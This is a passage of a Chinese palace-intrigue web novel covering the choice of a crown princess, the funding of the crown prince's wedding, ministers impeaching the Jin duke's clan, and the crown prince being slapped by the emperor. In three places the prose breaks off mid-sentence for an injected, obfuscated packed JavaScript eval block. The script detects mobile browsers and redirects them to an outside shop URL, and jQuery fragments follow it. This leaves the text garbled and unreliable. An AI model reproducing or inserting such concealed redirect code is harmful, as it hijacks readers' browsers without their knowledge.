沈韵一一拜过三位皇子皇女,六皇子、七皇子她先前见过,那旁边这位贵人想必便是皇女殿下了。在拜见五皇女刘宁时,沈韵不由得惊叹,这位皇女与秦王殿下的相貌竟如此相像!想来便是秦王殿下的同胞妹妹五皇女殿下吧。 方才三位殿下在山上偷听她弹奏,如此景象倒像是十面埋伏的场景。 沈韵想至此处,垂头掩嘴一笑,道:“此情此景,倒叫我想起一个词——十面埋伏,恰巧有首名曲就叫《十面埋伏》,那我便为三位殿下弹奏此曲了。” 说罢,沈韵便开始弹奏。 五皇女刘宁被沈韵的话逗笑了,不过就是偷听了她一曲,怎么会想到十面埋伏这个词呢? 一曲毕,五皇女刘宁彻底被沈韵这幅,真不愧是京中一绝,确实要比教坊的乐师要强上十倍! 沈韵向三人拜别:“三位殿下,沈韵先行告退。” 五皇女刘宁跟在沈韵后面问道:“沈姑娘技艺高超,不知可曾想来宫中的教坊做乐师?” 沈韵望向刘宁,笑着摇头道:“殿下若是喜欢,可向沈韵下拜帖,沈韵自会过府演奏。” 当年四皇子五皇女的降生,承道帝大赦天下,沈韵也在大赦天下之列,因此常以二人为恩人,沈韵对恩人自然与旁人不同。 “这?”六皇子刘赞听后愣在原地,这沈韵平日里不是很孤傲吗?怎么对四哥五姐这般特例? 走了几步,刘昶回头看见还愣在原地的刘赞,便冲着刘赞招手道:“六哥!快走啦!回宫了!” 19. 未定(九)太子大婚 福宁殿内,承道帝召皇后来商量太子大婚的事宜。 “臣妾拜见陛下。”皇后向承道帝行礼。 “来,朕有事同你商量。”承道帝放下手中的书,伸手招呼皇后过来。 待皇后走至承道帝近旁,承道帝开口说道:“皇后,朕想着牧儿与茂儿同岁,都是及冠之年,如今茂儿既已娶妻,那咱们的牧儿作为太子,也得开始选太子妃了。” 承道帝先前让太子亲自处置晋国公,一来是对太子的锻炼,若太子处理得当,自己也好放心地将大江朝交到太子手上;二来,太子是晋国公的亲外甥,由太子亲自处置晋国公,不会引起蔡氏一族的反抗。 承道帝为此不惜放权给太子,让太子全权处理朝政,却不想太子虽品行良善但又过于仁慈软弱,监国期间竟对晋国公及颖州蔡氏多有包庇,蔡氏一族又是不知收敛,仗着背后有皇后与太子撑腰,嚣张跋扈,惹得群臣不满。 承道帝辛勤数十载,才将这些世家大族打压得元气大伤,试想,若太子登基后,颖州蔡氏作为外戚,岂不要登天?那岂不是会重蹈启盛帝的覆辙? 不行,承道帝绝不允许历史重演,绝不会让自己数十载的心血功亏一篑,因此,承道帝要为太子挑选一个合适的太子妃,有能与颖州蔡氏一族分庭抗礼的能力。 选来选取,承道帝最终在这些适龄的世家女子之间挑中了一人,如今叫来皇后,看似两人商量,实则是让皇后心甘情愿地选定他挑选的这个太子妃。 皇后回道:“是呢,常言道,娶妻当娶贤,选太子妃还是得慎重。” 皇后自接风宴后心里便选定了温国公的女儿温嘉诚,还在想着如何向承道帝提及此事呢。 不过皇后转念一想,承道帝既然这么问起,难道是已有了合适的人选? 皇后试探着询问道:“陛下这么问,可是心中已有了合适人选?不妨说与臣妾听听。” 承道帝浅笑,招手命吴内官将他选定的那几位适龄女子的相关信息呈给皇后,并在一旁观察着皇后的反应。 皇后细细查看着这几人的信息及画像,凭着她对这几人的了解,心中忍不住点评: 开国公长孙女李淑华,年十八,性情软弱,不善言辞。 唉,开国公家子孙没一个争气的,早就不在朝堂要紧处当差了,于太子登基并无益处,且李淑华又性情软弱,日后太子登基,怎么做后宫之主让众嫔妃服气呢?不可不可。 晋国公的小女蔡岑,年十三,娇蛮任性。 皇后看到后不由得叹气一声,随后也有些无奈,虽说皇后曾属意于兄长晋国公的小女儿蔡岑,毕竟二人出自颖州蔡氏,日后权力不会分散,但蔡岑被兄长宠坏了,若真选做太子妃那东宫还不得鸡犬不宁?且太过年幼,如何能担起太子妃的重任?不可不可。 温国公的长女温嘉诚,年二十一,温柔贤淑。 温国公夫人带着温嘉诚进宫见过几次,虽说年纪长太子一岁,但人知书达理,模样生得也好,品性也嘉,其父温国公又是陛下重臣,当朝的三大国公之一,无论是家世还是品德,皇后很是满意,连连点头。 齐国公的小女张兰馨,年十四,蕙质兰心。 宴会上曾远远地见过,只是看着怯生生的,远不如温嘉诚看着稳重大方,且齐国公又是贵妃的母家,汀州张氏与颖州蔡氏向来水火不容,若选了张兰馨做太子妃,那太子日后登基,岂不是要婆媳打擂台了?不妥不妥。 王太傅的孙女王润蕾,年二十三,性情娴雅,端庄大方,琴棋书画,样样精通。 皇后看到王润蕾的评语,噗嗤一声笑了出来,这些评语怕不是王太傅自己写的吧,尽是夸赞之词。 这个王润蕾一心倾于太子,一直在等着太子选妃,硬生生把自己拖到了二十三,不过王太傅这个孙女样貌不行,还有些口吃,若选这么一个人做太子妃,传出去岂不是让人笑话?所以哪怕王润蕾再怎么一片痴心,皇后都从未考虑过她。 皇后笑着恭维道:“臣妾看着,陛下挑的都是个顶个儿的好姑娘,臣妾一时也是挑迷了眼。” 随后皇后与承道帝打起了太极:“不知道陛下看中哪个,说与臣妾听听。” 承道帝时刻注意着皇后的神情,见皇后唯独对看到温嘉诚时接连点头,也明白了皇后心中所想,既然帝后难得同心,那便定下来吧。 承道帝指着其中一副画像道:“朕觉得她还不错。” 皇后顺着承道帝指的方向看去——是温国公的长女温嘉诚。 原来陛下心中的太子妃人选是她呀! 皇后不禁喜上眉梢,笑道:“陛下真是与臣妾想到一处去了。” 这么看来只能选温国公了,温国公在朝中一向正直中立,选了温国公家的姑娘,也算是给太子拉拢温国公的势力了。 皇后拉着承道帝的手笑意盈盈道:“一切谨听陛下安排。” “好,那便温国公的长女吧。”承道帝一锤定音,“吴善辅,你即刻便去温国公府宣读朕与皇后的旨意。” “是。”吴内官听后便马不停蹄地带着人去温国公府宣旨去了。 承道帝随后又安排道:“皇后,太子大婚的事宜,便交给你亲自去办吧。” “是。”皇后应下,随即想到如今国库空虚,若自己来办只怕还要晋国公给添上不少的钱财。晋国公才被弹劾,须得低调行事,那太子大婚的费用只怕是个难题。 皇后表现出一副为难的样子,眉头微蹙娇嗔道:“陛下,太子大婚的事项繁多,礼仪繁琐,单靠臣妾一人只怕有些吃力呢。” “哦?”承道帝看向皇后,不知皇后葫芦里卖得什么药,疑惑一声。 皇后眉毛一挑,笑道:“这样吧,臣妾向陛下讨一人,让她来协助臣妾。” “谁?”承道帝问道。 “永安公主。” 永安公主刘安的能力皇后看在眼中,有刘安在她能轻松些,且刘安与六皇子刘赞关系交好,刘赞这几年府里的家私可不少呢,有这么一层关系在,太子的婚礼定能办得风风光光的。 “那便让安儿在旁协助你。”承道帝应允道。 皇后喜笑颜开,欢喜地拜别承道帝道:“那臣妾就先回去命宫人们去准备了。” 皇后出了福宁殿,笑得满面春光,对着身旁的蔡尚宫道:“太子大婚,定要风风光光地大办一场。” “是。”皇后的近侍蔡尚宫也是由衷地高兴。 一时间,宫中喜气洋洋。 贵妃见着宫中到处张灯结彩、红绸绵延的景象,只觉得扎眼。 当年若不是皇后暗中使了手段,先她一步生下孩子,如今宫中这些景象便是茂儿的了。每每想到此处,贵妃心中便不畅快。 自四皇子弹劾过晋国公后,承道帝便敲打她与父亲齐国公,更是为了保住太子,不惜将刚回京的茂儿赶去了陌南,虽也哭过闹过,可承道帝未曾心软,贵妃如今除了每日的假意逢迎外又别无他法。因此只能每日装病,窝在云清宫不出去。 “娘娘听说了吗,国库空虚,太子婚礼没钱,皇后娘娘正急得团团转呢!” 贵妃的近侍李尚宫见贵妃这几日心情郁结,为了让贵妃开怀,将听来的消息绘声绘色地说与贵妃听。 “当真?”贵妃听后有些幸灾乐祸,“哎呀,这太子的婚礼可不能将就,要不然岂不是要让天下子民笑话?” 李尚宫顺着贵妃的话,言语讥讽道:“谁说不是呢,可长秋宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274216|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位也不会点石成金之术,除了双手合十祈祷天上能掉银子外,哪里还有别的法子呢?” 贵妃冷哼一声:“点石成金?哪里就用得着点石成金呢?只怕那京中醉云轩每月的账目流水就够太子这婚礼的开销了吧。” 谁不知道醉云轩能捞呢?又有哪个能捞得过醉云轩呢? “你去——”贵妃刚想搞事,但转念又想到承道帝的警告,瞬间便泄了气,恹恹道:“罢了罢了,本宫也不想掺和这些事儿了。” 这几日贵妃倒也想明白了,事已成定局,已是无力再改变,茂儿能做个逍遥王爷,安稳度过此生也好,眼下要紧地便是还朝平安生产。 还朝有孕,贵妃日日都在算着时辰,待八月十五中秋时,还朝便有八个多月的身孕了,到时定是要让还朝留在京中待产的。 福康宫内,永安公主刘安为着太子大婚是忙得焦头烂额,她怎么也没想到,国库竟亏虚成这个样子,竟连为太子办婚礼的钱两都拿不出来了。 这下可怎么办才好,刘安重重地叹了口气。 “大姐姐为何这般愁云密布啊?”六皇子刘赞明知故问道。 刘安望向刘赞,无奈地摇头叹气道:“还能为着什么,不还是太子大婚的事宜吗?” 刘赞问道:“可是国库空虚?” 刘安白了刘赞一眼,随后闭目养神,不想理会。 “大姐姐,我到是有个法子,可解姐姐燃眉之急,也可解后顾之忧。” 刘安听后睁眼,瞪了刘赞一眼,不耐烦道:“快说。” 刘赞嘿嘿一笑,道:“就从宫里的采办入手。” “我这几年走南闯北,发现同样的一件东西,宫外的价格要比宫内便宜不少,若太子婚礼上的一应物品不经过宫里的采办,想来能省下不少呢。” “不可。”刘安打断刘赞的话,语气严肃道:“宫外的物件未经过宫里的检验,怎么轻易出现在太子的婚礼上?若品质不佳,皇室的脸都要丢尽了,太子大婚,绝不能有半点差池!” “大姐姐,宫外的品质绝不逊色于宫内。”刘赞听后着急地拿出两枚玉簪,辩解道:“姐姐且看这两枚玉簪,一样的造型,一样的通透,一样的温润手感,姐姐能分得清哪枚玉簪是宫里的匠人雕琢,哪枚是宫外的能工巧匠所雕刻吗?” 刘安听后拿起这两枚玉簪细细查验,确实难以分辨,可是! “大姐姐,你尽可放心。”刘赞拍着胸脯保证道:“不如让我来为大姐姐打下手处理这些开销上的事情,别的我不会,但是钱财的事我绝对靠谱。” “只此一次,你行事千万要低调,勿让旁人知晓,否则丢得是整个皇家脸面。”刘安虽知道这个弟弟赚钱的能力,但还是有些不放心,只是现如今空虚的国库,迫在眉睫的婚礼,恐怕只有这么一个法子了。 “只是……”刘赞见为刘安解决了一大难题,偷瞄了刘安一眼,终于提出了自己的目的:“还要让大姐姐在父皇面前帮我美言几句。” 刘安听后嗤笑一声:“哼,我就知道,无利不起早,你哪里会这么好心。” 刘赞被刘安戳破了心事,尴尬笑笑:“我对大姐姐的好心,天地可鉴。” 刘赞殷切道:“我的这件事儿若成了,那便是利国利民的大好事儿。况且父皇原也同我想得一样,只是还有些犹豫不决,大姐姐只需多在父皇前为我说些好话,父皇自会想明白其中的利害。” 刘安撑着下巴,看向刘赞,脸上含笑道:“那便看你表现了。” “遵命!”刘赞笑着应下。 刘赞真不愧是赚钱的能手,在国库有限的资金下,不单将太子的婚礼风光大办,而且还赚了不少呢。 太子大婚,举国欢庆。 20. 未定(十)群臣死谏 太子刘牧娶妻后,一时间太子风头无两。 朝中大臣观测如今的形势,承道帝二女七子,其中大皇子英王刘元体弱多病,二皇子刘仲出身微贱不受重视如今又被圈禁,四皇子秦王刘茂又被赶去陌南,六七两位皇子刘赞刘昶,一个爱财一个掌兵,从未被承道帝考虑过,剩下的八皇子刘绥年纪太幼小且生母位份又低,都不是继位的好人选。 唯有太子刘牧,生母皇后出身世家大族的颖州蔡氏,舅舅晋国公是当朝三大国公之一,妻子温嘉诚出身温国公府,岳丈温国公戍边数十载又是当朝三大国公之一,又有三朝老臣太子太傅王落儒辅佐,朝中诸臣更是有半数皆出自太子门下。 而今太子已立二十年,承道帝又放权让太子监国,如今太子已监国数月,太子登基那是板上钉钉的事。 因此太子大婚不过一月有余,从前那些还在观望没有站队的大臣,开始纷纷站队太子。 连带着弹劾晋国公的奏折也少了许多。 颖州蔡氏的族人,更是嚣张跋扈,为所欲为。 颖州蔡氏那些人的所作所为,虽大家都看在眼里,但碍于晋国公,碍于皇后,碍于太子的威势,不敢多说什么,只敢私下议论几句罢了。 不过,还是会有几个看不下去的,还是会有那么几个头铁的,还是会有几个刚正不阿的大臣,依旧在锲而不舍地弹劾颖州蔡氏一族。 但无一例外,弹劾的奏折都被太子刘牧拦下,未被承道帝知晓。 思来想去,这几个大臣决定面见圣上,决定当着圣上的面儿再次弹劾蔡氏,再次弹劾晋国公。 因此早朝过后,这几个大臣互相使过眼色后,相约绕过太子,来到承道帝的福宁殿,一同来揭露颖州蔡氏一族的罪行。 承道帝看着弓着腰站在他面前的六位大臣,为首的是户部尚书程显,余下是户部左侍郎黄崇安、户部右侍郎林英、礼部右侍郎周述、谏议大夫裴纶、谏议大夫袁正,放下了手中的奏疏,疑惑问道:“诸卿所为何事?” 这六位大臣推辞来推辞去,早已没了在福宁殿外的勇气,均战战兢兢地跪在地上不敢率先开口。 承道帝看着几人扭捏的样子,小抿一口茶后,语气和善笑道:“程显,你来说。” 户部尚书程显,当年是科举状元,为人刚正不阿、不畏权贵,深得承道帝青睐,是由承道帝一手提拔上来的寒门学子。 带头的户部尚书程显鼓足勇气道:“陛下,臣等有要事起奏。” 承道帝听后一笑,并不当回事,重拾起奏疏,漫不经心道:“如今太子监国,有什么要事直接报与太子就是,不必来烦朕。” 承道帝想着既然这几人来都来了,不如听听看,便道:“说来听听。” 户部侍郎黄崇安战战兢兢地进言:“陛下,臣等要奏之事,与太子息息相关。” 黄崇安说罢,小心翼翼地抬眼偷偷瞥了承道帝一眼,他怕还没说完,就会被承道帝拖出去仗责。二皇子不就是活生生的例子吗?二皇子还是承道帝的亲生儿子呢,至今都还被圈禁在府中,更别提他们这些毫无根基、毫无家族背景的臣子了。 承道帝听到与太子有关,啪地一下,将手中地奏疏摔在桌上,抬头冷冷地看向他们。 站在最后面的户部左侍郎黄崇安、户部右侍郎林英、礼部右侍郎周述三人,听到承道帝摔奏疏的声音,偷摸相互对视一眼,发现对方都被吓得抖如筛糠。 承道帝见他们被吓成这样,不禁笑了,一摆手,便不与他们计较什么,道:“下去吧,朕就当今日从未见过你们。” 承道帝放过了他们,不想追究这几人。这几个臣子他认得,不是世家大族出身,都是寒门学子,通过科举,靠着自己的能力,从芝麻小官一步一步爬上来的,这其中的艰辛他知道。再者,他要留着这些出身寒门的臣子,留着他们去对抗那些门阀大族,留着他们去与那些门阀分庭抗礼,因此他舍不得处置这些人。 为首的户部尚书程显意志坚定,视死如归道:“陛下,臣等今日既来,便都是抱着必死的决心。若陛下真要处置臣等,还请陛下听完臣等的谏言,再处置也不迟。” 今日哪怕是被杖毙,哪怕是被抄家灭族,他程显也要弹劾颖州蔡氏! 余下众人见程显如此大义凛然,因此也都冒着必死的决心,纷纷进言道: “陛下,臣等要弹劾晋国公,要弹劾颖州蔡氏!” “陛下,颖州蔡氏仗着晋国公,仗势欺人,行事更是嚣张跋扈,甚至当街殴打百姓,惹得京中民怨沸腾!” “陛下,颖州蔡氏仗着晋国公,晋国公一家又仗着背后有皇后、太子,满朝文武谁敢言他半个字?皆是敢怒而不敢言啊陛下!” “陛下,晋国公身为国舅,理应约束亲眷族人,万不该对族人如此纵容!太子身为未来新君,理应上敬尊长下护子民,万不该对亲近之人如此纵容!” “陛下,太子对旁人公正严明,丁是丁卯是卯,臣等都看在眼里,但是却对晋国公百般包容。” “陛下,当日秦王殿下与七殿下曾宴席上弹劾晋国公,陛下虽命太子严查,可最后还是不了了之呀!” “陛下,天下谁人不知太子殿下仁爱慈孝,只是太子殿下这仁爱慈孝,难道只是对他晋国公吗?难道只有晋国公,只有颖州蔡氏才是太子的子民吗?” “陛下,容臣说句大不敬的话,这天下总归还是陛下的天下!即便是日后太子登基,那也是新君的天下,那也不是他晋国公的天下!即便是日后太子登基,那这天下也是姓刘,这天下不姓蔡!” 承道帝听着这几位臣子慷慨激昂的谏言,句句言辞犀利;又看着他们呈上来弹劾晋国公的奏折,字字民生哀怨。 承道帝不由得心中愤怒,怒火中烧,将桌上的东西全甩在地上发泄着心中的不满。 他竟不知,太子包庇晋国公已到了如此地步。 他竟不知,晋国公竟如此地胆大包天。 他竟不知,颖州蔡氏一族竟这般为所欲为。 今日若不是有几名大臣拼死进谏,他还要被他的好大儿给蒙在鼓里呢! 承道帝在桌前来回踱步,思考着对策。 跪在最后的三位侍郎,跪在地上瑟瑟发抖,等着准备迎接承道帝的责罚。 户部尚书程显绝望地闭上双眼,在程显的左右两旁是谏议大夫裴纶、谏议大夫袁正,他们二人正视着前方,三人皆是一副英勇就义地姿态,等着被拖下去杖毙的命令。 只是迟迟等不来承道帝的下令,只等到了承道帝让他们退下的命令。 “你们先回去吧。”承道帝挥挥手,便让谏言的这几名臣子退下,承道帝怕晋国公知道是这些人谏言后会加害于他们。 “陛下——” 谏议大夫袁正听道承道帝如是说,怕承道帝又因顾虑到太子,会对晋国公高高举起又轻轻放下,愤然出言道。 “朕自有决断。”承道帝打断袁正的话,随即警告几人:“日所说之事,万不可让其他人知道。” 承道帝面无表情道:“都回去吧。” “是。”这几个臣子你看看我,我看看你,暗中使了眼色,便一起退下了。 待几人走后,承道帝便喊着让吴善辅进来。 “吴善辅,你去把太子叫过来。”承道帝叫着外面的吴内官,但好一会都未有人应答。 承道帝本就生气,如今无人应答更是火上浇油,便愤怒大喊一声:“吴善辅,你死了不成?朕喊你几声你是听不到吗!” “回陛下,师傅一早便有事出去了,陛下有什么话交代奴才去办吧,不知奴才能否为陛下效劳。” 吴善辅的徒弟,小太监板儿见师傅不在,陛下又是盛怒,便大着胆子,战战兢兢地进来回话。 “你?” 承道帝冷哼一声,而后才想起来他派吴善辅去悄悄看望二皇子了。 “你叫什么名字?从前怎么从没见过你。” 承道帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274217|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见眼前这个小太监说话还算伶俐,开口问道。 板儿回道:“奴才板儿见过陛下。因奴才一直在外殿当差,未曾来过内殿当差,所以陛下不认得奴才。” 承道帝见这小太监并不太畏惧他,反而言语清晰,便调侃道:“吴善辅是你师傅?难怪旁人都不敢进来回话,只有你敢进来。你胆子倒是大。” 板儿已经没了刚才的战栗,垂着头落落大方道:“因为师傅对奴才有知遇之恩,奴才一直感怀在心。陛下是奴才的主子,主子呼唤,奴才必是要应的。” 承道帝看着小太监胆量可佳,又懂得报恩,不由得夸奖道:“好个知恩图报的奴才。” 正好他身边缺个去传话的人,那便他了。 “朕见你如此知恩图报,忠肠义胆,赐你一名,唤作忠义,姓,便跟你师傅姓吧。”承道帝怕这个小太监去东宫传唤太子时无人信服,便给了小太监这份殊荣。 “奴才吴忠义,叩谢陛下赐名。”小太监板儿,不该叫吴忠义了,吴忠义听后重重磕在地上,跪下谢恩。 承道帝脸上微微一笑,道:“忠义,你即刻便去东宫,把太子带过来见朕。” “记住,别的不必多说。” “是。”吴忠义领命,带着承道帝的口谕前去东宫传唤太子。 “太子殿下,奴才奉陛下的口谕,传太子殿下进宫。” 太子刘牧见来人是个生面孔,警戒道:“不知公公姓甚名谁?往日来传话的不都是吴善辅吴内官吗?怎么今日换了人?” 太子刘牧心中警铃大作,吴善辅呢?难道父皇知道他暗中找吴善辅传递消息吗? “奴才吴忠义,今日才得陛下赐名,吴善辅吴内官今日有事,陛下这才命奴才过来。”吴忠义微弓着腰,言语不卑不亢地回道。 “吴公公可知父皇召我何事?”太子心中还是有些不解,想拖延些时间,想着待会问过王太傅后再做决定。 吴忠义并不给太子拖延的机会,催促道:“这事儿奴才怎么知道呢?殿下快些去吧,陛下还在福宁殿等着呢。” 太子别无他法,只得跟着吴忠义去见承道帝。 恰巧这会儿,吴善辅从二皇子处回来,就到福宁殿找承道帝复命,刚将二皇子的情况汇报给承道帝,就看到了吴忠义带着太子来见承道帝。 吴善辅心中疑惑,太子怎么让板儿带过来了?他不在承道帝身边不过半天时间,这半天的时间发生了什么事? 承道帝见太子来了,想着待会要训斥太子,为了给太子留点颜面,便屏退所有宫人,殿内只剩下他们父子二人。 吴善辅和吴忠义便在福宁殿外候着等,此时,吴善辅悄悄把吴忠义叫到一旁,问吴忠义怎么回事。 吴忠义记起承道帝交代不允许像别人透露半个字,因而牙关紧缩,摇头不语。 吴善辅见状狠狠地打了吴忠义几下,压低声音骂道:“小兔崽子,翅膀硬了?连师傅的话也敢不听?” 吴忠义强忍着痛,说道:“师傅别问了,知道多了,对你对我,均无益处。师傅不是曾告诫过徒弟吗,不该说的别说不该问的别问。” “好小子,倒教育起我来了。”吴善辅冷笑一声,正准备再继续打,好好教训教训吴忠义,突然听到福宁殿内杯盏落地碎裂的声音。 莫不是太子…… 自四皇子封为秦王,被承道帝赶出京城后,吴善辅已经把全部身家压到太子身上了,甚至不惜为太子传递消息。 太子可一定不能有事! 吴善辅心中一惊,于是便命吴忠义先顶着,他要去长秋宫去找皇后娘娘,这是他第一次见承道帝对着太子生这么大的气,感觉很是不妙。 不过刚迈出一步,转念又想,不行,他不能走,他得守在这里,看看到底是个什么情况,于是吴善辅找了个小太监去长秋宫给皇后报信。 不料吴善辅话还没交代完,嘎吱一声,福宁殿的宫门打开了。 太子走了出来。 21. 闯宫(一)突发事故 太子刘牧顶着脸上一个鲜红的巴掌印,带着额头上磕破皮儿的伤口,双眼空洞无神地看着前方,脚步虚浮地走出福宁殿。 吴善辅与吴忠义盯着太子刘牧脸上的巴掌印,目瞪口呆,二人不可置信地对视一眼,慢慢垂下头不敢再看,但内心都各怀心思。 若让太子这么走回宫去,只怕有损太子威望,只怕会动摇太子的地位。吴善辅眼珠一转,忙一边拖住太子,一边吩咐宫人去传轿撵,一边又安排吴忠义进殿伺候承道帝。 “我?”吴忠义指着自己,震惊地看向吴善辅。 吴忠义不傻,知道承道帝正在气头上,若自己这会儿进去,稍有不慎便会人头落地啊! “殿下此时出去只怕不妥,不如坐轿撵回东宫吧。”吴善辅挡在太子刘牧面前,关切道:“轿撵马上就到,烦请殿下稍等片刻。” 吴善辅一边拦着太子刘牧,一边用力驱赶着吴忠义,咬着后槽牙对着吴忠义低声喝道:“还愣着干什么,快去呀!” 吴忠义没办法,只得小心翼翼地进殿去伺候承道帝。 吴忠义低着头,迈着小碎步走进殿内,地上散落的奏折和四分五裂的茶盏赫然映入眼帘。 吴忠义颤颤巍巍地轻唤着承道帝: “陛下——” 吴忠义这声陛下唤醒了沉默不言的承道帝。 “告诉下面的人,今日之事不许与任何人提起。” 承道帝见吴忠义进来,收起情绪,语气威严地地警告一番。 承道帝刚在气头上,他气太子包庇晋国公,他气太子优柔寡断,他气太子资质平庸难堪大任。 气急之下才给了太子刘牧一巴掌,不过在承道帝的巴掌打在太子脸上后,在看着太子慢慢肿起的脸颊,承道帝便后悔了,自己下手未免也太狠了些。 知子莫若父,太子什么品行他是知道的。这个儿子虽说不如长子刘元、四子刘茂聪明,但为人勤勤恳恳,且做太子二十多年间,除了包庇晋国公以外,别无错处。 承道帝看着太子失魂落魄地推门走出去,心中阵阵懊悔与无奈,懊悔自己下手太重,一掌打碎了太子的信心,无奈自己的继承人这么没用,连这一个巴掌都承受不住。如此经不住事儿的太子,要他有何用? 随即承道帝又立马给吴中意安排一个差事,“你去二皇子府上,传朕的旨意,解了他的禁。” “是。”吴忠义小心翼翼地退出福宁殿,听到承道帝解了二皇子的圈禁,心中暗喜,为他这个从小一起长大的伙伴暗喜,他知道,机会来了。 “板儿,里面什么情况了?”吴善辅见吴忠义退了出来,忙上前问道。 吴忠义想起之前吴善辅对二皇子刘仲很不和善,因此并不理会吴善辅,上前一步,对着阶下众人,厉色道:“陛下有令,今日之事不许与任何人提起。” 吴忠义见惯了吴善辅发号施令的样子,如今也有样学样道:“若有人敢违背,当心你们的脑袋!” “是。” 待福宁殿宫人散去,吴忠义转身对着挡在他面前的吴善辅,恭顺道:“师傅,陛下还吩咐了我去办其他的事情,我便先去了。”说罢,吴忠义便昂首阔步地带着人去二皇子府上宣读口谕去了,丝毫不把吴善辅放在眼里。 “呸!我真是瞎了眼了,带出来这么个白眼狼!”吴善辅望着吴忠义的背影狠狠地啐了一口。 “殿下,殿下!” 吴忠义一溜小跑地来到二皇子刘仲面前。 待刘仲看清来人的脸后,惊喜道:“板儿?” 吴忠义整理好衣冠,宣读起承道帝的口谕:“二殿下,还不快接旨。” “传陛下口谕,二皇子刘仲,即日解禁。” 刘仲听后,抬头冲着吴忠义欣慰一笑。 吴忠义忙上前扶起刘仲,眼神含笑,为刘仲感到高兴,他也算是苦尽甘来了。 吴忠义环顾四周,见到二皇子刘仲的居住环境,心疼不已,待看清桌上泔水样的饭菜,瞬间对着身后的照顾刘仲的仆人怒道:“你们便是这么照看二殿下的吗?” 照顾二皇子的仆人听后扑通一声跪下,这可是御前的人! “还不快去准备些可口的饭菜,若让陛下知道你们这般苛待二殿下,只怕你们的脑袋明天就挪地儿了!” 吴忠义还有话要同刘仲说,因此随意找了个借口支开众人,待众人都离开后,房间内只留下他与刘仲,吴忠义心疼地看着刘仲现在的模样,竟比他们之前藏在宫中偷活时还要狼狈不堪。 “殿下,你受苦了。” “板儿,看到你,我便知道自己已经苦尽甘来了。”刘仲欣喜地看向吴忠义,随后问道:“宣旨的事向来不是吴善辅做的吗?怎么今日换了你来?” 吴忠义将今天发生的事,从大臣慷慨激昂地死谏,到承道帝动怒命他去请太子,再到太子挨了一掌失魂落魄地走出福宁殿,再到承道帝命他来解禁二皇子,从头到尾一字不落地全都告诉了刘仲。 刘仲怔怔地望着吴忠义,随后放声大笑。 刘仲原以为他不受承道帝重视,不被承道帝喜爱,原以为他会被一直圈禁在这里,却没想到峰回路转,他还有被解禁的一天,他没想到太子还有被责骂的一天。 当日他与四弟刘仲、七弟刘昶曾谋划多日,收集齐铁板钉钉的铁证,都没能让晋国公受损,却没想到今日太子竟因晋国公的事遭到了训斥!那看来父皇心中也是觉得晋国公碍眼,也是觉得这些世家大族碍眼。 想到此处,刘仲心中又重新燃起希望,真是天助我也! 吴忠义由衷道:“愿殿下得偿所愿。” 想当初,吴忠义因家中贫困不得已进宫当差,无意见遇到了藏在宫中苟活的刘仲,他原以为刘仲同他一样是个地位低等的小太监,便生了惺惺相惜之情。相处一段时间后,他才得知刘仲原来竟然是信王酒后乱性与启盛帝张贵妃宫中的一宫女生下的,宫女生下刘仲后便难产离世,只留下刘仲一人在世上,宫女们可怜刘仲,便一人一口米汤将刘仲喂活,又幸得启盛帝张贵妃的怜悯,刘仲便在宫中苟且偷生。 当时的吴忠义很是不解,既然刘仲是信王的儿子,为什么不去认亲呢?认亲之后刘仲便是亲王之子,便不用再过这样的苦日子了。后来才得知,信王觉得刘仲的生母身份地位,觉得刘仲的生母是受人指使来勾引他的,因此信王很是厌恶刘仲的生母。 后来启盛帝落水而亡,因无子嗣,传位于信王,也就是如今的承道帝。 承道帝的四皇子五皇女这对龙凤胎出生后,趁着大赦天下之际,承道帝不得已才认回刘仲,刘仲也因此成了当今皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274218|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的二皇子。 吴忠义看着刘仲欣喜激动的样子,想及他们之前过得那些苦日子,真心地为刘仲感到高兴。 可惜天色将晚,旧友重逢无法久聊,吴忠义告别道:“出来这么久,我也该回去了,殿下多保重。” “板儿,不,忠义,你在父皇身边当差,一定要万分小心。” 太子刘牧自回到东宫后,想到父皇训诫自己的话,也觉得自己纵容舅舅,惹得民怨沸腾,实在是枉做太子,还有何颜面去面见朝臣,还有何颜面去面对百姓? 因此太子刘牧开始将自己憋在房间里,既不见人也不许别人见他,就连第二天的早朝也没参加。 太子妃温嘉诚见太子这样不见人不上朝,急得热锅上的蚂蚁团团转,可她问了太子随行的宫人后,也没问出来什么,只说昨日陛下召太子入宫回话,太子回来之后就这样子了。一时之间,温嘉诚也没了主意,只能派人将消息传给太子太傅与皇后。 太子太傅王落儒得知消息后急忙来东宫找太子,但他见不到太子,因此觉得定是发生了大事。 可是什么大事能让太子这般意志消沉呢?难道是承道帝要废太子?! 